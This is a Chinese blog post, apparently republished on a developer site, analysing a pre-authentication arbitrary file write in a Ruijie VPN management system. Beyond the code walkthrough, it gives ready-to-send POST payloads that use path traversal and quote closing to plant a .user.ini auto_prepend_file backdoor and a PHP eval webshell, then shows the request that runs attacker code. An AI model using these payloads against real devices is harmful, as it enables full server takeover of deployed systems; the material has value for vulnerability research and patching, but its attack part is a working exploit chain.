锐捷某系统前台任意文件写入分析

本文涉及的产品
简介: 锐捷某系统前台任意文件写入分析

640.gif


Part1前言

这套系统我估计是全网第一个公开能拿shell的吧(不是的话当我没说),哪套系统自己猜,这次先分享下前台任意文件写入,还有几个rce日后分享,也感谢独立团孙德胜Alan提供的思路。

Part2代码分析

漏洞位置:/view/vpn/autovpn/feature_commit.php

先通过POST传参进入if判断

在下面的fc_extendsubnet处传参即可进入漏洞位置

会将我们传入的参数提交到putConfig方法

putConfig方法在common.php里,我们来观察下

很简单哈,就是一个file_put_contents函数

再回到存在漏洞的位置,是通过indevice传入文件位置,并且会判断文件后缀最后一位是否为“i”,不是的话就给文件后缀添加上“i”,然后与$lanfile拼接。

Part3开冲!!!

因为这套系统是以Linux为主,所以我们可以通过空格去绕过已经定义好的$lanfile 以下为我自己做的测试:

然后呢他去判断后缀是否为“i”,所以我们可以利用.user.ini制作一个后门。

关于.user.ini后门,大家可以去看P牛写的文章:https://www.vuln.cn/6001

之后利用../跳目录,写入绝对路径。所以我们文件名的payload是:

tunnelType=1&fc_extendsubnet=2&indevice=1%20../../../../../../../../../var/www/html/view/vpn/autovpn/.user.in

文件名ok了,我们去构造内容

可以看到是由ft_ipaddr和ft_ipmask传参的,我们简单测试下

tunnelType=1&fc_extendsubnet=2&indevice=1%20../../../../../../../../../var/www/html/view/vpn/autovpn/.users.ini&ft_ipaddr=111&ft_ipmask=1234

可以看到内容是没有问题的,但是会给我们的内容首尾添加上两个双引号,所以我们需要在payload里加入双引号进行闭合。

Payload:

tunnelType=1&fc_extendsubnet=2&indevice=1%20../../../../../../../../../var/www/html/view/vpn/autovpn/.users.ini&ft_ipaddr=111&ft_ipmask=1234"11111"

闭合成功

然后我们构造.user.ini的payload:

tunnelType=1&fc_extendsubnet=2&indevice=1%20../../../../../../../../../var/www/html/view/vpn/autovpn/.user.in&ft_ipmask=%22
auto_prepend_file=1.gifi "

注意:“auto_prepend_file=1.gifi”前面一定要有回车,不然是不会生效的。

之后再往“1.gifi”写入一句话木马,这里无所谓了,不需要回车。Payload:

tunnelType=1&fc_extendsubnet=2&indevice=1%20../../../../../../../../../var/www/html/view/vpn/autovpn/1.gif&ft_ipmask="<?php%20eval($_GET[pass]);?>"

然后就ok了,需要先等待上0-3分钟,或者是重启Web服务。之后随便访问.user.ini同级目录下的.php文件,加上咱们的木马,即可代码执行了。

/view/vpn/autovpn/apngw.php?pass=phpinfo();

相关实践学习
基于函数计算一键部署掌上游戏机
本场景介绍如何使用阿里云计算服务命令快速搭建一个掌上游戏机。
建立 Serverless 思维
本课程包括: Serverless 应用引擎的概念, 为开发者带来的实际价值, 以及让您了解常见的 Serverless 架构模式
目录
相关文章
|
9月前
|
Web App开发 安全 物联网
大华智慧园区综合管理平台前台任意文件上传漏洞
大华智慧园区综合管理平台存在前台任意文件上传漏洞,攻击者可通过特定Payload获取服务器敏感信息,进而获取服务器控制权限。
544 1
|
11天前
|
Unix Linux C语言
【进程OI】重定向的本质&&用户级缓冲区
【进程OI】重定向的本质&&用户级缓冲区
|
18天前
|
移动开发 前端开发
基于若依的ruoyi-nbcio流程管理系统修复自定义业务表单的取消终止功能
基于若依的ruoyi-nbcio流程管理系统修复自定义业务表单的取消终止功能
17 3
|
安全 虚拟化 Python
和信创天云桌面系统_命令执行_任意文件上传
和信创天云桌面系统_命令执行_任意文件上传
和信创天云桌面系统_命令执行_任意文件上传
|
10月前
|
数据建模 BI OLAP
哪些报表该放入报表系统,哪些又该放到业务系统里?
哪些报表该放入报表系统,哪些又该放到业务系统里?
|
10月前
|
存储 监控 算法
转:在屏幕监控软件中二进制算法起到了哪些重要作用
&quot;二进制算法&quot;这个东西其实并不是多高深的概念,就是个挺宽泛的说法罢了。在不同的情况下,人家都会拿出各种花样的二进制算法来搞事情,实现各种各样的功能。有些算法可能涉及到挺多计算机科学和信息处理的技术,接下来就和大家谈谈二进制算法在屏幕监控软件软件中可能会起到哪些重要作用——
60 0
|
小程序 安全 数据库
微信小程序云开发读取数据超过20,云函数读取超过100条限制,获取云开发数据库集合里的所有数据的方法
微信小程序云开发读取数据超过20,云函数读取超过100条限制,获取云开发数据库集合里的所有数据的方法
566 0
|
边缘计算 人工智能 安全
对话张泉灵(下):5G最终改变的,是用户终端
早已成为万众焦点的5G,将于2019迎来商用元年。刚刚完成第二期募资的紫牛基金,也为5G项目备好弹药。
127 0
|
移动开发 小程序 安全

热门文章

最新文章